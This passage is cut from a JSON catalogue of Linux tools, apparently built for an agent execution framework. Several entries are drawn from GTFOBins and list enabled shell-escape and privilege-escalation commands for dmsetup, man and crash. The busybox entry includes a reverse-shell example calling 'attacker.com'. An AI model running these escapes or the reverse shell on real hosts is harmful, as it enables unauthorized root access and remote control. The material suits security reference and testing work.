      }
    ],
    "name": "xdg-user-dir",
    "namespace": "system:desktop:xdg-user-dir",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xdg-user-dir/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "dmsetup.md",
    "allowed-tools": [
      "dmsetup",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Device mapper management, can spawn a shell via --exec option.",
    "examples": [
      {
        "description": "Spawn a shell via dmsetup --exec",
        "command": "dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\ndmsetup ls --exec '/bin/sh -s'\n"
      }
    ],
    "execution": {
      "template": "dmsetup ls --exec '/bin/sh -s'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-devicemapper-dmsetup",
    "install": [
      {
        "method": "apt",
        "package_name": "dmsetup",
        "commands": [
          "apt-get install -y dmsetup"
        ]
      }
    ],
    "name": "dmsetup",
    "namespace": "system:devicemapper:dmsetup",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dmsetup/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "crash.md",
    "allowed-tools": [
      "crash",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Linux kernel crash dump analysis tool, can read files via pager and execute commands via CRASHPAGER.",
    "examples": [
      {
        "description": "Execute a command via CRASHPAGER",
        "command": "CRASHPAGER=/path/to/command crash -h"
      }
    ],
    "execution": {
      "template": "crash -h",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-diagnostic-crash",
    "install": [
      {
        "method": "apt",
        "package_name": "crash",
        "commands": [
          "apt-get install -y crash"
        ]
      }
    ],
    "name": "crash",
    "namespace": "system:diagnostic:crash",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/crash/"
      }
    ],
    "related_tools": [
      "less"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# man — Manual Page Displayer\n\nman displays system manual pages. It can read arbitrary files by passing a path as an argument (the file is formatted and shown in the pager). The `-H` option with GNU troff can execute commands, and the default pager (less) can be escaped to shell.\n",
    "_source": "man.md",
    "allowed-tools": [
      "man",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file display as man page"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "Formatted file content in pager",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display system manual pages, can read files and spawn shells via pager or groff.",
    "examples": [
      {
        "description": "Read arbitrary file formatted as man page in pager",
        "command": "man /path/to/input-file"
      },
      {
        "description": "Spawn shell via -H browser option with GNU troff",
        "command": "man '-H/bin/sh"
      },
      {
        "description": "Open man page in less pager (can escape to shell)",
        "command": "man man"
      }
    ],
    "execution": {
      "template": "man {H}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-documentation-man",
    "install": [
      {
        "method": "apt",
        "package_name": "man-db",
        "commands": [
          "apt-get install -y man-db"
        ]
      }
    ],
    "name": "man",
    "namespace": "system:documentation:man",
    "parameters": [
      {
        "name": "H",
        "type": "string",
        "required": false,
        "description": "HTML browser command",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "man man page",
        "url": "https://man7.org/linux/man-pages/man1/man.1.html"
      }
    ],
    "related_tools": [
      "less",
      "groff",
      "info"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "shell-access"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n\n# BusyBox — Multi-Call Binary\n\nBusyBox combines many common Unix utilities into a single executable. Run `busybox --list-full` to see all available applets. It is especially useful in embedded systems and container environments for privilege escalation and file transfer.\n",
    "_source": "busybox.md",
    "allowed-tools": [
      "busybox",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command",
      "security.execution.reverse-shell",
      "network.transfer.upload",
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.command.string",
          "description": "BusyBox applet and arguments"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Multi-call binary that combines many Unix utilities in a single executable for embedded systems.",
    "examples": [
      {
        "description": "Spawn interactive ash shell via busybox",
        "command": "busybox ash"
      },
      {
        "description": "Spawn reverse shell via busybox nc",
        "command": "busybox nc -e /bin/sh attacker.com 12345"
      },
      {
        "description": "Serve files via HTTP for upload",
        "command": "busybox httpd -f -p 12345 -h ."
      },
      {
        "description": "Read file via busybox cat",
        "command": "busybox cat /path/to/input-file"
      }
    ],
    "execution": {
      "template": "busybox {0}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-embedded-busybox",
    "install": [
      {
        "method": "apt",
        "package_name": "busybox",
        "commands": [
          "apt-get install -y busybox"
        ]
      }
    ],
    "name": "busybox",
    "namespace": "system:embedded:busybox",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "BusyBox documentation",
        "url": "https://busybox.net/downloads/BusyBox.html"
      }
    ],
    "related_tools": [
      "ash",
      "cat",
      "nc",
      "bash"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "exfiltration",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content",
        "reverse-shell"
      ],
      "consumes": [
        "command-string"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dosbox.md",
    "allowed-tools": [
      "dosbox",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DOS emulator, can read and write files via mounted host filesystem.",
    "examples": [
      {
        "description": "Read a file via dosbox",
        "command": "dosbox -c 'mount c /' -c 'type c:\\path\\to\\input'"
      },
      {
        "description": "Write to a file via dosbox",
        "command": "dosbox -c 'mount c /' -c \"echo DATA >c:\\path\\to\\output\" -c exit"
      }
    ],
    "execution": {
      "template": "dosbox -c 'mount c /' -c 'type c:\\path\\to\\input'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-emulator-dosbox",
    "install": [
      {
        "method": "apt",
        "package_name": "dosbox",
        "commands": [
          "apt-get install -y dosbox"
        ]
      }
    ],
    "name": "dosbox",
    "namespace": "system:emulator:dosbox",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "windows"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dosbox/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# base64 — Base64 encode/decode data\n\n## Overview\n\n`base64` is a command-line utility for base64 encode/decode data.\n\n## Usage\n\n```\nbase64 -d {decode} -i {ignore-garbage} -w {wrap}\n```\n",
    "_source": "base64.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.base64",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Base64 encode/decode data",
    "examples": [
      {
        "description": "Basic usage with decode",
        "command": "base64 ${decode}"
      },
      {
        "description": "Display help message",
        "command": "base64 --help"
      }
    ],
    "execution": {
      "template": "base64 -d {decode} -i {ignore-garbage} -w {wrap}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "encryption",
      "batch"
    ],
    "id": "system-file-base64",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "mitre_ids": [
      "T1027",
      "T1140"
    ],
    "name": "base64",
    "namespace": "system:file:base64",
    "parameters": [
      {
        "name": "decode",
        "template_key": "decode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "decode data",
        "aliases": [
          "-d",
          "--decode"
        ],
        "flag": "-d"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-garbage",
        "template_key": "ignore-garbage",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "when decoding, ignore non-alphabet characters",
        "aliases": [
          "-i",
          "--ignore-garbage"
        ],
        "flag": "-i"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "wrap",
        "template_key": "wrap",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wrap encoded lines after COLS character (default 76). Use 0 to disable line wrapping --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--wrap"
        ],
        "flag": "-w"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "lateral-movement",
      "data-manipulation",
      "execution",
      "command-and-control",
      "persistence",
      "credential-access",
      "defense-evasion",
      "exfiltration",
      "collection",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "batcat.md",
    "allowed-tools": [
      "batcat",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A cat(1) clone with syntax highlighting, can read files via pager (less) inheritance.",
    "examples": [
      {
        "description": "Read a file via batcat (pager mode)",
        "command": "batcat --paging always /etc/hosts"
      }
    ],
    "execution": {
      "template": "batcat --paging always {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "system-file-batcat",
    "install": [
      {
        "method": "apt",
        "package_name": "bat",
        "commands": [
          "apt-get install -y bat"
        ]
      },
      {
        "method": "brew",
        "package_name": "bat",
        "commands": [
          "brew install bat"
        ]
      }
    ],
    "name": "batcat",
    "namespace": "system:file:batcat",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/batcat/"
      }
    ],
    "related_tools": [
      "cat"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# cat — Concatenate files and print to standard output\n\n## Overview\n\n`cat` is a command-line utility for concatenate files and print to standard output.\n\n## Usage\n\n```\ncat -A {show-all} -b {number-nonblank} -e {flag-e} -E {show-ends} -n {number}\n```\n",
    "_source": "cat.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.cat",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Concatenate files and print to standard output",
    "examples": [
      {
        "description": "Basic usage with show-all",
        "command": "cat ${show-all}"
      },
      {
        "description": "Display help message",
        "command": "cat --help"
      },
      {
        "description": "POSIX way in which to cat(1); see cat(1posix).",
        "command": "cat -u [FILE_1 [FILE_2] ...]"
      },
      {
        "description": "Output a file, expanding any escape sequences (default). Using this short one-liner let's you view the boot log how it was show at boot-time.",
        "command": "cat /var/log/boot.log"
      },
      {
        "description": "This is an ever-popular useless use of cat.",
        "command": "cat /etc/passwd | grep '^root'"
      },
      {
        "description": "The sane way:",
        "command": "grep '^root' /etc/passwd"
      },
      {
        "description": "If in bash(1), this is often (but not always) a useless use of cat(1).",
        "command": "Buffer=`cat /etc/passwd`"
      },
      {
        "description": "The sane way:",
        "command": "Buffer=`< /etc/passwd`"
      }
    ],
    "execution": {
      "template": "cat -A {show-all} -b {number-nonblank} -e {flag-e} -E {show-ends} -n {number}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "id": "system-file-cat",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "cat",
    "namespace": "system:file:cat",
    "parameters": [
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to -vE",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to -vT",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-u",
        "template_key": "flag-u",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(ignored)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit --version output version information and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "number",
        "template_key": "number",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "number all output lines",
        "aliases": [
          "-n",
          "--number"
        ],
        "flag": "-n"
      },
      {
        "name": "number-nonblank",
        "template_key": "number-nonblank",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "number nonempty output lines, overrides -n",
        "aliases": [
          "-b",
          "--number-nonblank"
        ],
        "flag": "-b"
      },
      {
        "name": "show-all",
        "template_key": "show-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to -vET",
        "aliases": [
          "-A",
          "--show-all"
        ],
        "flag": "-A"
      },
      {
        "name": "show-ends",
        "template_key": "show-ends",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display $ or ^M$ at end of each line",
        "aliases": [
          "-E",
          "--show-ends"
        ],
        "flag": "-E"
      },
      {
        "name": "show-nonprinting",
        "template_key": "show-nonprinting",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use ^ and M- notation, except for LFD and TAB",
        "aliases": [
          "-v",
          "--show-nonprinting"
        ],
        "flag": "-v"
      },
      {
        "name": "show-tabs",
        "template_key": "show-tabs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display TAB characters as ^I",
        "aliases": [
          "-T",
          "--show-tabs"
        ],
        "flag": "-T"
      },
      {
        "name": "squeeze-blank",
        "template_key": "squeeze-blank",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress repeated empty output lines",
        "aliases": [
          "-s",
          "--squeeze-blank"
        ],
        "flag": "-s"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-comm",
      "system-file-sort",
      "system-file-uniq",
      "system-file-wc"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "command-and-control",
      "credential-access",
      "execution",
      "persistence",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "chattr.md",
    "allowed-tools": [
      "chattr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.defense-evasion"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to target file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Change file attributes on Linux ext2/ext3/ext4 filesystems, can make files immutable for privilege escalation.",
    "examples": [
      {
        "description": "Make a file immutable",
        "command": "chattr +i /path/to/input-file"
      }
    ],
    "execution": {
      "template": "chattr +i {file}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-file-chattr",
    "install": [
      {
        "method": "apt",
        "package_name": "e2fsprogs",
        "commands": [
          "apt-get install -y e2fsprogs"
        ]
      }
    ],
    "name": "chattr",
    "namespace": "system:file:chattr",
    "parameters": [
      {
        "name": "file",
        "type": "file",
        "required": true,
        "description": "File to make immutable"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/chattr/"
      }
    ],
    "related_tools": [
      "lsattr"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n---\n\n# chmod — Change file mode bits\n\n## Overview\n\n`chmod` is a command-line utility for change file mode bits.\n\n## Usage\n\n```\nchmod -c {changes} -f {silent} -v {verbose} -h {no-dereference} -R {recursive}\n```\n",
    "_source": "chmod.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.chmod",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Change file mode bits",
    "examples": [
      {
        "description": "Basic usage with changes",
        "command": "chmod ${changes}"
      },
      {
        "description": "Display help message",
        "command": "chmod --help"
      },
      {
        "description": "Give the [u]ser who owns a file the right to e[x]ecute it.",
        "command": "chmod u+x PATH"
      },
      {
        "description": "Give the [u]ser rights to [r]ead and [w]rite to a file/directory.",
        "command": "chmod u+rw PATH"
      },
      {
        "description": "Remove e[x]ecutable rights from the [g]roup.",
        "command": "chmod g-x PATH"
      },
      {
        "description": "Give [a]ll users rights to [r]ead and e[x]ecute.",
        "command": "chmod a+rx PATH"
      },
      {
        "description": "Give [o]thers (not in the file owner's group) the same rights as the [g]roup.",
        "command": "chmod o=g PATH"
      },
      {
        "description": "Remove all rights from [o]thers.",
        "command": "chmod o= PATH"
      },
      {
        "description": "Change permissions recursively, allowing [g]roup and [o]thers to [w]rite.",
        "command": "chmod -R g+w,o+w PATH"
      },
      {
        "description": "Set access rights using numeric (octal) form.",
        "command": "chmod 750 PATH"
      },
      {
        "description": "Add the execute permission bit to directories only. This works because the 'X' is uppercase, meaning only directories will be executable. However, if an existing file is executable, this bit will not be removed.",
        "command": "chmod a+X PATH"
      },
      {
        "description": "Convert string representation of the access right into numeric form and back.",
        "command": "curl cheat.sh/chmod/750"
      },
      {
        "description": "cheat.sheets: chmod",
        "command": "curl cheat.sh/chmod/rwxr-x"
      }
    ],
    "execution": {
      "template": "chmod -c {changes} -f {silent} -v {verbose} -h {no-dereference} -R {recursive}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-chmod",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "chmod",
    "namespace": "system:file:chmod",
    "parameters": [
      {
        "name": "changes",
        "template_key": "changes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like verbose but report only when a change is made",
        "aliases": [
          "-c",
          "--changes"
        ],
        "flag": "-c"
      },
      {
        "name": "dereference",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--dereference"
        ],
        "flag": "--dereference"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "if a command line argument is a symlink to a directory, traverse it",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "traverse every symbolic link to a directory encountered",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not traverse any symbolic links",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help and exit --version output version information and exit",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "affect each symbolic link, rather than the referent --no-preserve-root do not treat '/' specially (the default) --preserve-root fail to operate recursively on '/' --reference=RFILE use RFILE's mode instead of specifying MODE values. RFILE is always dereferenced if a symbolic link",
        "aliases": [
          "-h",
          "--no-dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "no_preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-preserve-root"
        ],
        "flag": "--no-preserve-root"
      },
      {
        "name": "preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--preserve-root"
        ],
        "flag": "--preserve-root"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "change files and directories recursively",
        "aliases": [
          "-R",
          "--recursive"
        ],
        "flag": "-R"
      },
      {
        "name": "reference",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--reference"
        ],
        "flag": "--reference"
      },
      {
        "name": "silent",
        "template_key": "silent",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "suppress most error messages",
        "aliases": [
          "-f",
          "--silent",
          "--quiet"
        ],
        "flag": "-f"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output a diagnostic for every file processed --dereference affect the referent of each symbolic link, rather than the symbolic link itself",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-chown"
    ],
    "risk_level": "low",
    "techniques": [
      "command-and-control",
      "collection",
      "execution",
      "data-manipulation",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# chown — Change file owner and group\n\n## Overview\n\n`chown` is a command-line utility for change file owner and group.\n\n## Usage\n\n```\nchown -c {changes} -f {silent} -v {verbose} -h {no-dereference} -R {recursive}\n```\n",
    "_source": "chown.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.chown",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Change file owner and group",
    "examples": [
      {
        "description": "Basic usage with changes",
        "command": "chown ${changes}"
      },
      {
        "description": "Display help message",
        "command": "chown --help"
      }
    ],
    "execution": {
      "template": "chown -c {changes} -f {silent} -v {verbose} -h {no-dereference} -R {recursive}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-chown",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "chown",
    "namespace": "system:file:chown",
    "parameters": [
      {
        "name": "changes",
        "template_key": "changes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like verbose but report only when a change is made",
        "aliases": [
          "-c",
          "--changes"
        ],
        "flag": "-c"
      },
      {
        "name": "dereference",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--dereference"
        ],
        "flag": "--dereference"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "if a command line argument is a symlink to a directory, traverse it",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "traverse every symbolic link to a directory encountered",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not traverse any symbolic links",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "from",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
